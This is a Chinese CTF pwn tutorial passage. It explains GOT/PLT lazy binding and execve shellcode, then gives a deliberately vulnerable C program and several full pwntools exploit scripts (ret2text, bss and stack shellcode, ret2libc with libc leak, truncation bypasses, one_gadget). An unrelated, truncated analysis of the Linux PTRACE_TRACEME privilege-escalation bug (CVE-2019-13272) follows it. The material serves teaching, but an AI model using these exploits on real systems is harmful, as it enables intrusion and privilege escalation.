,也就是共享对象,一般以’.so’扩展名结尾,libc.so就是其中一个例子。window则是’.dll’之类的。
Linux编译共享文件命令:
`gcc got_extern.c -fPIC -shared -m32 -o my.so`
> -fPIC 选项是生成地址无关代码的代码，gcc 中还有另一个 -fpic
> 选项，差别是fPIC产生的代码较大但是跨平台性较强而fpic产生的代码较小，且生成速度更快但是在不同平台中会有限制。一般会采用fPIC选项
> 地址无关代码的思想就是将指令分离出来放在数据部分。
> -shared 选项是生成共享对象文件
> -m32 选项是编译成32位程序
> -o 选项是定义输出文件的名称
**什么是延迟绑定(Lazy Binding)?**
因为如果程序一开始就将共享库所有函数都进行链接会浪费很多资源,因此采用了延迟绑定技术,函数需要用到的时候进行绑定,否则不绑定。
那么怎么实现绑定,用动态链接器,绑定什么呢,修改got表,怎么来延迟呢,利用plt表当作一个摆设然后重定位指向GOT表中真实的地址。
首先我们了解下什么是got表、什么是plt表,什么是动态链接器,以及三者的关系。
* **GOT(Global offset Table) 全局偏移表**
存放函数真实的地址,能被动态链接器实时修改
GOT表被ELF拆分为.got 和
.got.plt表,其中`.got`表用来保存全局变量引用的地址,`.got.plt`用来保存函数引用的地址,外部函数的引用全部放在.got.plt中,我们主要研究也就是这部分。
先记住got表,第一项是`.dynamic`,第二项是`link_map`地址,第三项是`_dl_runtime_resolve()`,真正的外部函数地址是从第4项开始的也就是got[3]开始。
关于got表结构这部分,后面在高级ROP部分我会展开讲解。
* **PLT(Procedure Link Table ) 程序连接表**
表项都是一小段代码,一一对应对应于got表中的函数。
Dump of assembler code for function puts@plt:
0x080482e0 <+0>: jmp DWORD PTR ds:0x804a00c
0x080482e6 <+6>: push 0x0
0x080482eb <+11>: jmp 0x80482d0
End of assembler dump.
* 程序加载plt的时候,会分为两种状态:
* 初始化的时候
plt中jmp跳转的got表取得的地址其实是plt的下一条指令, 0x080482e6
然后在继续往下执行到动态链接器函数`_dl_runtime_resolve`,把got表中函数重定向为libc中真实的地址。
* 二次加载的时候
plt指向的直接got表表项的地址就是第一次重定向的真实地址。
两者的对应关系如下:
该内容更细可以参考: PWN之ELF解析
验证想法,我们可以手工进行调试一次
首先我们编译一个简单的程序2.c:
gcc -g -no-pie -m32 -o test 2.c
#include <stdio.h>
int main(){
puts("hello");
puts("hello2");
return 0;
}
然后`gdb -r test`加载,`disassemble main`反编译main函数
**初始化的时候:**
这里就对got表进行了重定位修改为了真实地址。
**二次加载的时候:**
因为之前got表已经解析了puts的真实地址了,所以就直接指向了。
关于此部分比较细的调试过程参考文章:
[[原创][新手向]ret2dl-resolve详解](https://bbs.pediy.com/thread-227034.htm)
[PWN菜鸡入门之栈溢出 （2）——
ret2libc与动态链接库的关系](https://www.cnblogs.com/pwn2web/p/10352024.html)
这部分更多详细的内容推荐阅读<<程序员的自我修养7.4节>>
## 0x6 Linux shellcode编写指南
关于shellcode的编写,网上也比较多了,这里简要介绍下一些原理和变形,如何工具实现自定义shellcode之类的内容。
最普通的shellcode:
大小端转换转换脚本
>>> "".join(list('//bin/sh')[::-1]).encode('hex')
'68732f6e69622f2f'
xor eax,eax
push eax
push 0x68732f6e
push 0x69622f2f ;//bin/sh
mov ebx,esp ;ebx为execve参数1
push eax ;eax 为参数
mov edx,esp ;edx赋值给edx
push ebx
mov al,0x0b ;execve 系统号
int 0x80 ;触发系统中断,cpu切换到内核模式,执行系统调用
利用 pwntools,小白可以快速获取到shellcode
pwntools官方文档:
<https://pwntools.readthedocs.io/en/stable/shellcraft.html>
# shellcode1
print(shellcraft.i386.linux.sh())
限制了执行命令,可以采用一些原生的文件读取,然后进行输出,这主要是考察汇编的编程能力。
print(shellcraft.i386.linux.readfile('/flag'))
我们就可以在工具的基础上,自己进行相应的改动了。
传输的时候是tcp流,所以我们发送的时候,要记得使用`asm`函数对shellcode进行编码
这部分内容更细可以参考:
[shellcode 的艺术](https://xz.aliyun.com/t/6645)
[生成可打印的shellcode](https://xz.aliyun.com/t/5662)
[Linux下shellcode的编写](https://xz.aliyun.com/t/2052)
## 0x7 前置题目基础知识
坑点:
> 1.scanf与gets区别
> 我们平时遇的比较多应该都是gets,scanf很少用,所以很容易出现一些奇 怪的问题
> scanf 遇到缓冲区的空字符就会发生截断然后末尾s加上
> gets 则是遇到回车才截断然后加上
> **空字符: 空格 回车 制表 换行 空字符**
空字符 | 转义字符 | 意义 | ASCII值
---|---|---|---
空格 | | | decimal:32 0x20
回车 | r | | decimal:013 0x0d
水平制表符 | t | 水平制表(HT) （跳到下一个TAB位置） | decimal: 009 0x09
垂直制表符 | v | | decimal: 011 0x0b
换行 | n | | decimal: 010 0x0a
空字符 | | | decimal:000 0x00
## 0x8 一道题总结PWN的栈利用方式
### 0x8.1 part1 题目源码
这个是我自己总结出的漏洞百出题目,很方便读者对照来学习各种栈溢出攻击技巧。
#include <stdio.h>
#include <string.h>
//gcc -g -fno-stack-protector -z execstack -no-pie -z norelro -m32 -o vuln 1.c
char c[50];
void SayHello()
{
char tmpName[10];
char name[1024];
puts("hello");
scanf("%s", name);
strcpy(tmpName, name);
}
void test(){
system("cat /flag");
}
void fun(char a[]){
printf("%s", a);
printf("/bin/sh");
}
void bad(){
gets(&c);
puts(c);
}
int main(int argc, char** argv)
{
SayHello();
return 0;
}
编译方式:
这里的保护都没开,后面的一些技巧是可以避开保护的。
`gcc -g -fno-stack-protector -z execstack -no-pie -z norelro -m32 -o vuln8
1.c`
### 0x8.2 part2 问题分析
很明显这道题目是个经典的双栈溢出,分别是scanf和strcpy这两个危险函数没有限制输入,这里我主要从`strcpy`溢出点出发,谈谈各种获取shell的方法,以及小白很容易出现的问题。
IDA载入分析:
### 0x8.3 常见做法
#### 0x8.3.1 直接替换返回地址为后门函数
这个比较简单直接给出exp,很明显test函数就是个后门函数。
条件:没开PIE,地址可以直接确定,学习pwntool的 ELF模块搜索功能。
#!/usr/bin/python
# -*- coding:utf-8 -*-
from pwn import *
context.log_level = 'debug'
context(arch='i386', os='linux')
# 设置tmux程序
context.terminal = ['/usr/bin/tmux', 'splitw', '-h']
# program module
io = process('./vuln8')
elf = ELF('./vuln8')
lib = ELF("/lib/i386-linux-gnu/libc.so.6")
# backdoor 直接搜索后门函数地址
vulndoor = elf.symbols['test']
log.success("vulndoor:" + str(hex(vulndoor)))
payload = 'A'*0x16 + p32(vulndoor)
io.sendlineafter('hello', payload)
io.interactive()
#### 0x8.3.2 程序自带system函数
##### 0x8.3.2.1 程序自有/bin/sh字符串
这个题目依然是学习elf的search搜索字符串功能。
exp.py
#!/usr/bin/python
# -*- coding:utf-8 -*-
from pwn import *
context.log_level = 'debug'
context(arch='i386', os='linux')
# 设置tmux程序
context.terminal = ['/usr/bin/tmux', 'splitw', '-h']
# program module
io = process('./vuln8')
elf = ELF('./vuln8')
lib = ELF("/lib/i386-linux-gnu/libc.so.6")
# system backdoor
vulndoor = elf.symbols['system']
# system argv /bin/sh
binsh = elf.search("/bin/sh").next()
log.success("vulndoor:" + str(hex(vulndoor)))
log.success("/bin/sh: " + str(hex(binsh)))
# 这个是函数返回的地址,这里没什么用
retAddress = p32(0xdeadbeef)
payload = 'A'*0x16 + p32(vulndoor) + retAddress + p32(binsh)
io.sendlineafter('hello', payload)
io.interactive()
##### 0x8.3.2.2 构造/bin/sh写入到bss段
为了方便学习我这里改动了一下主程序:
#include <stdio.h>
#include <string.h>
//gcc -g -fno-stack-protector -z execstack -no-pie -z norelro -m32 -o vuln 1.c
char c[50];
void SayHello()
{
char tmpName[10];
char name[1024];
puts("hello");
scanf("%s", name);
strcpy(tmpName, name);
}
void test(){
system("cat /flag");
}
void fun(char a[]){
printf("%s", a);
printf("/bin/sh");
}
void bad(){
char a[10];
puts("start bad");
gets(c);
puts(c);
gets(a);
}
int main(int argc, char** argv)
{
// SayHello();
bad();
return 0;
}
通过这个练习,我们可以加深对bss的段理解,其地址是固定的,可以存放字符串。
exp.py
#!/usr/bin/python
# -*- coding:utf-8 -*-
from pwn import *
context.log_level = 'debug'
context(arch='i386', os='linux')
# 设置tmux程序
context.terminal = ['/usr/bin/tmux', 'splitw', '-h']
# program module
io = process('./vuln9')
elf = ELF('./vuln9')
lib = ELF("/lib/i386-linux-gnu/libc.so.6")
# rop1 把/bin/sh写入到bss段
rop1 = elf.symbols['bad']
# rop2 再次执行漏洞函数
rop2 = elf.symbols['SayHello']
gdb.attach(io, 'b *0x08048664')
pause()
# system backdoor
system = elf.symbols['system']
binsh = '/bin/shx00'
io.sendlineafter('start bad', binsh)
retAddress = p32(0xdeadbeef)
payload = 'A'*0x16 + p32(system) + retAddress +p32(0x08049A80)
io.sendlineafter('sh', payload)
io.interactive()
### 0x8.4 bss段写入shellcode
;这个知识点主要是用于绕过开启了nx保护的时候,栈不可执行的特点。
这里我们依然采用上面改动的程序来测试。
#!/usr/bin/python
# -*- coding:utf-8 -*-
from pwn import *
context.log_level = 'debug'
context(arch='i386', os='linux')
# 设置tmux程序
context.terminal = ['/usr/bin/tmux', 'splitw', '-h']
# program module
io = process('./vuln9')
elf = ELF('./vuln9')
lib = ELF("/lib/i386-linux-gnu/libc.so.6")
# rop1 把/bin/sh写入到bss段
rop1 = elf.symbols['bad']
# rop2 再次执行漏洞函数
rop2 = elf.symbols['SayHello']
# bss 变量地址,可以通过查看ida的bss段来查看。
bss = p32(0x08049A80)
io.sendlineafter('start bad', asm(shellcraft.sh()))
retAddress = p32(0xdeadbeef)
payload = 'A'*0x16 + bss
io.sendlineafter('n', payload)
io.interactive()
### 0x8.5 栈段写入shellcode
我们依然简化下代码,然后重新编译一下
#include <stdio.h>
#include <string.h>
//gcc -g -fno-stack-protector -z execstack -no-pie -z norelro -m32 -o vuln 1.c
char c[50];
void bad(){
char a[10];
puts("start bad");
gets(a);
}
int main(int argc, char** argv)
{
// SayHello();
bad();
__asm__("jmp %esp;");
return 0;
}
通过这个题目,我们可以学习一下简单ROP思想,看下程序是怎么通过`jmp esp`这样一个片段,从`ret->jmp esp->shellcode`的流程。
exp.py
#!/usr/bin/python
# -*- coding:utf-8 -*-
from pwn import *
context.log_level = 'debug'
context(arch='i386', os='linux')
# 设置tmux程序
context.terminal = ['/usr/bin/tmux', 'splitw', '-h']
# program module
io = process('./vuln1')
elf = ELF('./vuln1')
lib = ELF("/lib/i386-linux-gnu/libc.so.6")
gdb.attach(io, 'b *0x08048664')
pause()
# 搜索程序的jmp esp片段
jmpEsp = elf.search(asm('jmp esp')).next()
log.success("jmpEsp: " + str(hex(jmpEsp)))
payload = 'A'*0x16 + p32(jmpEsp) + asm(shellcraft.sh())
io.sendlineafter('start bad', payload)
io.interactive()
这里可以分析下为啥是这样构造的:
道理非常简单
程序执行`ret`的时候,这个时候esp是不是指向`p32(jmpEsp)`,
ret 等价于 pop eip;jmp ebp+4
pop eip就是把栈顶元素赋值给eip,然后跳转,pop执行完之后,esp+1,这个时候就是我们的shellcode地址啦。
所以上面的布置公式就是
`payload = 'A'*0x16 + p32(jmpEsp) + asm(shellcraft.sh())`
### 0x8.6 RetLibc系列
这部分,我们采用的是这个代码,其中坑点非常多,初学者极易错的不知其解。
这部分也是我想着重来讲的一部分。
下面看我分析,这里我们选择开启PIE,(开不开也没啥区别, libc地址都是随机化的,必须通过运行程序来泄漏。)
#include <stdio.h>
#include <string.h>
//gcc -g -fno-stack-protector -z execstack -no-pie -z norelro -m32 -o vuln 1.c
void SayHello()
{
char tmpName[10];
char name[1024];
puts("hello");
scanf("%1024s", name);
strcpy(tmpName, name);
}
int main(int argc, char** argv)
{
SayHello();
return 0;
}
编译的时候保护全关:
`gcc -g -fno-stack-protector -z execstack -no-pie -z norelro -m32 -o vuln6
1.c`
#### 0x8.6.1 经典ROP利用
利用libc的话,我们首先要想办法泄漏libc的基地址,这一步也是非常经典,因为程序里面有puts函数,我们可以利用栈溢出来double
jmp,泄漏出libc的地址之后再重新回到漏洞函数来执行。
`__libc_start_main`这个函数是先于`main`函数加载的,所以程序的got表保存的就是其libc的真实地址。
这里我们有两种方法获取到该函数的相对libc偏移:
* 1.手工计算
`readelf -a /lib/i386-linux-gnu/libc.so.6 | grep '__libc_start_main'`
这里的libc
10: 00000000 0 FUNC GLOBAL DEFAULT UND ___tls_get_addr@GLIBC_2.3 (42)
* 就是以 00000000 作为基地址的
* 2.利用pwntools,看我下面的exp
exp.py
#!/usr/bin/env python
# -*- coding:utf-8 -*- from pwn import *
context.log_level = 'debug'
context(arch='i386', os='linux')
# 设置tmux程序
context.terminal = ['/usr/bin/tmux', 'splitw', '-h']
# program module
io = process('./vuln6')
elf = ELF('./vuln6')
lib = ELF("/lib/i386-linux-gnu/libc.so.6")
# vuln address
SayHello = elf.symbols['SayHello']
# 程序的got表地址
libc_start_main_got = elf.got['__libc_start_main']
# 方法2利用pwntool的ELF模块之间获取
lib_start_main = lib.symbols['__libc_start_main']
log.success("SayHello:" + str(hex(SayHello)))
# 这里开始调试
gdb.attach(io,'b *0x08048486')
pause()
# 利用栈溢出调用puts函数泄漏got表地址
payload1 = 'A'*0x16 + p32(elf.plt['puts']) + p32(SayHello) + p32(libc_start_main_got)
# payload1 = 'A'*0x16 + 'B'*4
# 格式化字符串可以利用栈上的残留来获取
io.sendlineafter('hell', payload1)
# 有时候没办法获取的时候加多一个,因为可能有一些垃圾数据
print("start")
print(io.recvuntil('n'))
print("end")
lib_main = u32(io.recvline()[0:4])
libc_base = lib_main - lib_start_main
log.success("libc_base:" + str(hex(libc_base)))
# 经典retlibc利用公式
retAddress = p32(0xdeadbeef)
system = libc_base + lib.symbols['system']
binsh = libc_base + lib.search("/bin/sh").next()
payload2 = 'A'*0x16 + p32(system) + retAddress + p32(binsh)
io.sendlineafter('hello', payload2)
io.interactive()
很熟悉的利用公式:`payload2 = 'A'*0x16 + p32(system) + retAddress + p32(binsh)`
但是这里是没办法成功,前面我们已经说过了,scanf和strcpy遇到x00是会截断的
很明显我们的system函数00地址结尾的,所以根本没办法传进去。
要么我们来`jmp esp`然后写shellcode?
jmpesp = libc_base = lib.search(asm('jmp esp')).next()
payload2 = 'A'*0x16 + p32(jmpesp) + asm(shellcraft.sh())
io.sendlineafter('hello', payload2)
很遗憾告诉你这样也是不行了, 首先`0b`是execve的系统调用号,但是他同时表示的是制表符,会被scanf截断,导致不能写入栈中,导致失败。
那么是不是没有办法了? 下面介绍一些我对截断绕过的技巧
#### 0x8.6.2 解决空白字符截断的技巧
##### 0x8.6.2.0 采用execve函数
`readelf -a /lib/i386-linux-gnu/libc.so.6 | grep 'execve`
可以看到是`b0`结尾ok,那么我们只要找一些gadget补全参数即可。
`ROPgadget --binary /lib/i386-linux-gnu/libc.so.6 --depth 30 --only
'pop|ret'|grep "eax"`
execve与system的层面都不一样,一个是内核层一个是用户层。
不过参数好像没办法控制,赋值为0的话就会断掉,这个方法希望有师傅能告诉我可行性怎么样(ps.好像网上没什么涉及到这个)
##### 0x8.6.2.1 system函数变形
gdb查看寄存器的地址:
`p $esp`
修改寄存器的值:
`set $esp=0x`
查看汇编:
`telescope 8 $esp`
我们之间修改地址为`lib.symbols['system'] + 3`,这样子就可以绕过了。
然后布置好栈让函数不要出错就行了
#!/usr/bin/env python
# -*- coding:utf-8 -*- from pwn import *
context.log_level = 'debug'
context(arch='i386', os='linux')
# 设置tmux程序
context.terminal = ['/usr/bin/tmux', 'splitw', '-h']
# program module
io = process('./vuln6')
elf = ELF('./vuln6')
lib = ELF("/lib/i386-linux-gnu/libc.so.6")
# vuln address
SayHello = elf.symbols['SayHello']
# 程序的got表地址
libc_start_main_got = elf.got['__libc_start_main']
# 方法2利用pwntool的ELF模块之间获取
lib_start_main = lib.symbols['__libc_start_main']
start = 0x8048370
# system的地址
log.success("SayHello:" + str(hex(SayHello)))
log.success("system:" + str(hex(lib.symbols['system'])))
# 这里开始调试
gdb.attach(io,'b *0x08048486')
pause()
# 利用栈溢出调用puts函数泄漏got表地址
payload1 = 'A'*0x16 + p32(elf.plt['puts']) + p32(SayHello) + p32(libc_start_main_got)
# payload1 = 'A'*0x16 + 'B'*4
# 格式化字符串可以利用栈上的残留来获取
io.sendlineafter('hell', payload1)
# 有时候没办法获取的时候加多一个,因为可能有一些垃圾数据
print("start")
print(io.recvuntil('n'))
print("end")
lib_main = u32(io.recvline()[0:4])
libc_base = lib_main - lib_start_main
log.success("libc_base:" + str(hex(libc_base)))
# 经典retlibc利用公式
retAddress = p32(0xdeadbeef)
system = libc_base + lib.symbols['system'] + 3
# gets = libc_base + lib.symbols['gets']
binsh = libc_base + lib.search("/bin/sh").next()
# oneShell = libc_base + 0x67a7f
payload2 = 'A'*0x16 + p32(system) + p32(start) + p32(binsh)*10
io.sendlineafter('hello', payload2)
io.interactive()
##### 0x8.6.2.2 shellcode变形绕过
这里没开nx保护,修改下shellcode去除0xb符号即可
#!/usr/bin/env python
# -*- coding:utf-8 -*- from pwn import *
context.log_level = 'debug'
context(arch='i386', os='linux')
# 设置tmux程序
context.terminal = ['/usr/bin/tmux', 'splitw', '-h']
# program module
io = process('./vuln6')
elf = ELF('./vuln6')
lib = ELF("/lib/i386-linux-gnu/libc.so.6")
# vuln address
SayHello = elf.symbols['SayHello']
# 程序的got表地址
libc_start_main_got = elf.got['__libc_start_main']
# 方法2利用pwntool的ELF模块之间获取
lib_start_main = lib.symbols['__libc_start_main']
log.success("SayHello:" + str(hex(SayHello)))
# 这里开始调试
gdb.attach(io,'b *0x08048486')
pause()
# 利用栈溢出调用puts函数泄漏got表地址
payload1 = 'A'*0x16 + p32(elf.plt['puts']) + p32(SayHello) + p32(libc_start_main_got)
# payload1 = 'A'*0x16 + 'B'*4
# 格式化字符串可以利用栈上的残留来获取
io.sendlineafter('hell', payload1)
# 有时候没办法获取的时候加多一个,因为可能有一些垃圾数据
print("start")
print(io.recvuntil('n'))
print("end")
lib_main = u32(io.recvline()[0:4])
libc_base = lib_main - lib_start_main
log.success("libc_base:" + str(hex(libc_base)))
# 经典retlibc利用公式
retAddress = p32(0xdeadbeef)
gets = libc_base + lib.symbols['gets']
# binsh = libc_base + lib.search("/bin/sh").next()
payload = '''
xor eax,eax
xor ecx, ecx
push eax
push 0x68732f6e
push 0x69622f2f
mov ebx,esp
push eax
mov edx,esp
push ebx
mov al,0x11
dec al
dec al
dec al
dec al
dec al
dec al
int 0x80
'''
jmpesp = libc_base + lib.search(asm('jmp esp')).next()
payload2 = 'A'*0x16 + p32(jmpesp) + asm(payload)
io.sendlineafter('hello', payload2)
io.interactive()
##### 0x8.6.2.3 Onegadget技术
我们在libc下寻找下Onegadget
利用:`one_gadget`工具
`one_gadget /lib/i386-linux-gnu/libc.so.6`
root@mypwn:/ctf/work/MiniPWN/article# one_gadget /lib/i386-linux-gnu/libc.so.6
0x3d0d3 execve("/bin/sh", esp+0x34, environ)
constraints:
esi is the GOT address of libc
[esp+0x34] == NULL
0x3d0d5 execve("/bin/sh", esp+0x38, environ)
constraints:
esi is the GOT address of libc
[esp+0x38] == NULL
0x3d0d9 execve("/bin/sh", esp+0x3c, environ)
constraints:
esi is the GOT address of libc
[esp+0x3c] == NULL
0x3d0e0 execve("/bin/sh", esp+0x40, environ)
constraints:
esi is the GOT address of libc
[esp+0x40] == NULL
0x67a7f execl("/bin/sh", eax)
constraints:
esi is the GOT address of libc
eax == NULL
0x67a80 execl("/bin/sh", [esp])
constraints:
esi is the GOT address of libc
[esp] == NULL
0x137e5e execl("/bin/sh", eax)
constraints:
ebx is the GOT address of libc
eax == NULL
0x137e5f execl("/bin/sh", [esp])
constraints:
ebx is the GOT address of libc
[esp] == NULL
我们挑选一些条件比较容易满足的,0x67a7f 这个条件是满足的。
exp.py
#!/usr/bin/env python
# -*- coding:utf-8 -*- from pwn import *
context.log_level = 'debug'
context(arch='i386', os='linux')
# 设置tmux程序
context.terminal = ['/usr/bin/tmux', 'splitw', '-h']
# program module
io = process('./vuln6')
elf = ELF('./vuln6')
lib = ELF("/lib/i386-linux-gnu/libc.so.6")
# vuln address
SayHello = elf.symbols['SayHello']
# 程序的got表地址
libc_start_main_got = elf.got['__libc_start_main']
# 方法2利用pwntool的ELF模块之间获取
lib_start_main = lib.symbols['__libc_start_main']
log.success("SayHello:" + str(hex(SayHello)))
# 这里开始调试
gdb.attach(io,'b *0x08048486')
pause()
# 利用栈溢出调用puts函数泄漏got表地址
payload1 = 'A'*0x16 + p32(elf.plt['puts']) + p32(SayHello) + p32(libc_start_main_got)
# payload1 = 'A'*0x16 + 'B'*4
# 格式化字符串可以利用栈上的残留来获取
io.sendlineafter('hell', payload1)
# 有时候没办法获取的时候加多一个,因为可能有一些垃圾数据
print("start")
print(io.recvuntil('n'))
print("end")
lib_main = u32(io.recvline()[0:4])
libc_base = lib_main - lib_start_main
log.success("libc_base:" + str(hex(libc_base)))
# 经典retlibc利用公式
retAddress = p32(0xdeadbeef)
gets = libc_base + lib.symbols['gets']
# binsh = libc_base + lib.search("/bin/sh").next()
oneShell = libc_base + 0x67a7f
payload2 = 'A'*0x16 + p32(oneShell)
io.sendlineafter('hello', payload2)
io.interactive()
### 0x8.7 高级ROP
这个学习的话,还是得从原理开始慢慢分析,我会在下一遍文章开始讲解,顺便介绍一下绕过各种保护的经典情况。
## 0x9 总结
自己学pwn也有好一些日子了,学完高级ROP的内容,就可以开始PWN的堆方面学习了,自己还是很菜,还得继续努力才行.
ps.本人建立了一个PWN萌新QQ交流群,专门给萌新提供一个良好的解决问题平台,同时也能提高自己。欢迎加入:OTE1NzMzMDY4 (base64)
## 0xA 参考链接
[和媳妇一起学Pwn 之
Start](https://xuanxuanblingbling.github.io/ctf/pwn/2019/08/30/start/)
[程序内存空间（代码段、数据段、堆栈段）](https://blog.csdn.net/ywcpig/article/details/52303745)
[x86内存框架简介](https://blog.csdn.net/yzy1103203312/article/details/75207918)
[PIE保护详解和常用bypass手法](https://xz.aliyun.com/t/6922)
[ctf pwn中的缓解机制及其原理](http://eternalsakura13.com/2018/03/25/aslr/)
[ASLR和PIE的区别](https://blog.csdn.net/spenghui/article/details/79910884)
[elf文件格式和运行时内存布局](http://blog.sina.com.cn/s/blog_4ed962ae01013vhr.html)
[PIE保护详解和常用bypass手段](https://www.anquanke.com/post/id/177520)
[Linux之so加载原理分析](https://blog.csdn.net/sauphy/article/details/50121163)
[PWN菜鸡入门之栈溢出 （2）——
ret2libc与动态链接库的关系](https://www.cnblogs.com/pwn2web/p/10352024.html) | 社区文章 |
**作者：Gengjia Chen of IceSword Lab, qihoo 360
博客：[IceSword Lab](https://www.iceswordlab.com/2019/11/28/CVE-2019-13272/
"IceSword Lab")**
[PTRACE_TRACEME 漏洞](https://bugs.chromium.org/p/project-zero/issues/detail?id=1903) 是 Jann Horn 201907 月发现的内核提权漏洞,
漏洞发现和利用的思路有很多值得学习的地方, 本文记录了个人的学习过程
## 漏洞补丁
我们从漏洞补丁 [ptrace: Fix ->ptracer_cred handling for
PTRACE_TRACEME](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=6994eefb0053799d2e07cd140df6c2ea106c41ee)
入手分析
Fix two issues:
// 第一个问题，是 cred 的 rcu reference 问题
When called for PTRACE_TRACEME, ptrace_link() would obtain an RCU
reference to the parent's objective credentials, then give that pointer
to get_cred(). However, the object lifetime rules for things like
struct cred do not permit unconditionally turning an RCU reference into
a stable reference.
// 第二个问题，tracee 记录的 tracer 的 cred 的问题
PTRACE_TRACEME records the parent's credentials as if the parent was
acting as the subject, but that's not the case. If a malicious
unprivileged child uses PTRACE_TRACEME and the parent is privileged, and
at a later point, the parent process becomes attacker-controlled
(because it drops privileges and calls execve()), the attacker ends up
with control over two processes with a privileged ptrace relationship,
which can be abused to ptrace a suid binary and obtain root privileges.
Fix both of these by always recording the credentials of the process
that is requesting the creation of the ptrace relationship:
current_cred() can't change under us, and current is the proper subject
for access control.
以上是补丁的描述，以下是补丁的代码
diff --git a/kernel/ptrace.c b/kernel/ptrace.c
index 8456b6e..705887f 100644
--- a/kernel/ptrace.c
+++ b/kernel/ptrace.c
@@ -79,9 +79,7 @@ void __ptrace_link(struct task_struct *child, struct task_struct *new_parent,
*/
static void ptrace_link(struct task_struct *child, struct task_struct *new_parent)
{
- rcu_read_lock();
- __ptrace_link(child, new_parent, __task_cred(new_parent));
- rcu_read_unlock();
+ __ptrace_link(child, new_parent, current_cred());
}
从补丁的描述来看，一共修复了 2 个问题
* 1 是 rcu reference 的问题，对应的代码是删除了 rcu 锁;
* 2 是 tracee 记录 tracer 进程的 cred 引发的问题
本文不关心第一个问题，只分析可以用于本地提权的第二个问题
从补丁描述看第二个问题比较复杂，我们后面再分析，补丁对应的代码倒是非常简单， 将 ‘__task_cred(new_parent)’ 换成了
‘current_cred()’, 也就是说记录的 cred 从 tracer 进程的 cred 换成了当前进程的 cred
## 漏洞分析
[ptrace](http://man7.org/linux/man-pages/man2/ptrace.2.html)
是一个系统调用，它提供了一种方法来让进程 (tracer) 可以观察和控制其它进程 (tracee) 的执行，检查和改变其核心映像以及寄存器,
主要用来实现断点调试和系统调用跟踪
1 396 kernel/ptrace.c <<ptrace_attach>>
ptrace_link(task, current); // link 的双方分别是要 trace 的目标进程 'task'
// 和发动 trace 的当前进程 'current'
2 469 kernel/ptrace.c <<ptrace_traceme>>
ptrace_link(current, current->real_parent); // link 的双方分别是发动 trace 的
// 当前进程 ‘current’ 和当前进程的
// 父进程 ' current->real_parent'
trace 关系的建立有 2 种方式
* 1 是进程调用 fork 函数然后子进程主动调用 PTRACE_TRACEME, 这是由 tracee 发起的, 对应内核函数 ptrace_traceme
* 2 是进程调用 PTRACE_ATTACH 或者 PTRACE_SEIZE 去主动 trace 其他进程, 这是由 tracer 发起的, 对应内核函数 ptrace_attach
不管是哪种方式，最后都会调用 ptrace_link 函数去建立 tracer 和 tracee 之间的 trace 关系
* ptrace_attach 关联的双方是 ‘task’ (tracee) 和 ‘current’ (tracer)
* ptrace_traceme 关联的双方是 ‘current’ (tracee) 和 ‘current->real_parent’ (tracer)
这里我们要仔细记住上面 2 种模式下 tracer 和 tracee 分别是什么，因为这就是漏洞的关键
static void ptrace_link(struct task_struct *child, struct task_struct *new_parent)
{
rcu_read_lock();
__ptrace_link(child, new_parent, __task_cred(new_parent));
rcu_read_unlock();
}
void __ptrace_link(struct task_struct *child, struct task_struct *new_parent,
const struct cred *ptracer_cred)
{
BUG_ON(!list_empty(&child->ptrace_entry));
list_add(&child->ptrace_entry, &new_parent->ptraced); // 1. 将自己加入父进程的 ptraced 队列
child->parent = new_parent; // 2. 将父进程地址保存在 parent 指针
child->ptracer_cred = get_cred(ptracer_cred); // 3. 保存 ptracer_cred, 我们只关注这个变量
}
建立 trace 关系的关键是由 tracee 记录 tracer 的 cred, 保存在 tracee 的 ‘ptracer_cred’
变量，这个变量名很顾名思义
ptracer_cred 这个概念是由 2016 年的一个补丁 [ptrace: Capture the ptracer’s creds not
PT_PTRACE_CAP](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=64b875f7ac8a5d60a4e191479299e931ee949b67)
引入的, 引入 ptracer_cred 的目的是用于当 tracee 执行 exec 去加载 [setuid
executable](https://www.computerhope.com/jargon/s/setuid.htm) 时做安全检测
为什么需要这个安全检测呢?
[exec](http://man7.org/linux/man-pages/man3/exec.3.html) 函数族可以更新进程的镜像,
如果被执行文件的 [setuid 位](https://en.wikipedia.org/wiki/Setuid) 置位，则运行这个可执行文件时，进程的
[euid](https://en.wikipedia.org/wiki/User_identifier) 会被修改成该可执行文件的所有者的 uid,
如果可执行文件的所有者权限比调用 exec 的进程高, 运行这类 [setuid
executable](https://www.computerhope.com/jargon/s/setuid.htm) 会有提权的效果
假如执行 exec 的进程本身是一个 tracee, 当它执行了 [setuid
executable](https://www.computerhope.com/jargon/s/setuid.htm) 提权之后，由于 tracer
可以随时修改 tracee 的寄存器和内存，这时候低权限的 tracer 就可以控制 tracee 去执行越权操作
作为内核，显然是不允许这样的越权行为存在的，所以当 trace 关系建立时, tracee 需要保存 tracer 的 cred (即
ptracer_cred), 然后在执行 exec 过程中, 如果发现执行的可执行程序是 [setuid
位](https://en.wikipedia.org/wiki/Setuid) 置位的， 则会判断 ‘ptracer_cred’ 的权限，
如果权限不满足，将不会执行 [setuid 位](https://en.wikipedia.org/wiki/Setuid) 的提权，
而是以原有的进程权限执行这个 [setuid
executable](https://www.computerhope.com/jargon/s/setuid.htm)
这个过程的代码分析如下(本文的代码分析基于 v4.19-rc8)
do_execve
-> __do_execve_file
-> prepare_binprm
-> bprm_fill_uid
-> security_bprm_set_creds
->cap_bprm_set_creds
-> ptracer_capable
->selinux_bprm_set_creds
->(apparmor_bprm_set_creds)
->(smack_bprm_set_creds)
->(tomoyo_bprm_set_creds)
如上，execve 权限相关的操作主要在函数 ‘prepare_binprm’ 里
1567 int prepare_binprm(struct linux_binprm *bprm)
1568 {
1569 int retval;
1570 loff_t pos = 0;
1571
1572 bprm_fill_uid(bprm); // <-- 初步填充新进程的 cred
1573
1574 /* fill in binprm security blob */
1575 retval = security_bprm_set_creds(bprm); // <-- 安全检测，
// 可能会修改新进程的 cred
1576 if (retval)
1577 return retval;
1578 bprm->called_set_creds = 1;
1579
1580 memset(bprm->buf, 0, BINPRM_BUF_SIZE);
1581 return kernel_read(bprm->file, bprm->buf, BINPRM_BUF_SIZE, &pos);
1582 }
如上，先调用 ‘bprm_fill_uid’ 初步填充新进程的 cred, 再调用 ‘security_bprm_set_creds’ 做安全检测并修改新的
cred
1509 static void bprm_fill_uid(struct linux_binprm *bprm)
1510 {
1511 struct inode *inode;
1512 unsigned int mode;
1513 kuid_t uid;
1514 kgid_t gid;
1515
1516 /*
1517 * Since this can be called multiple times (via prepare_binprm),
1518 * we must clear any previous work done when setting set[ug]id
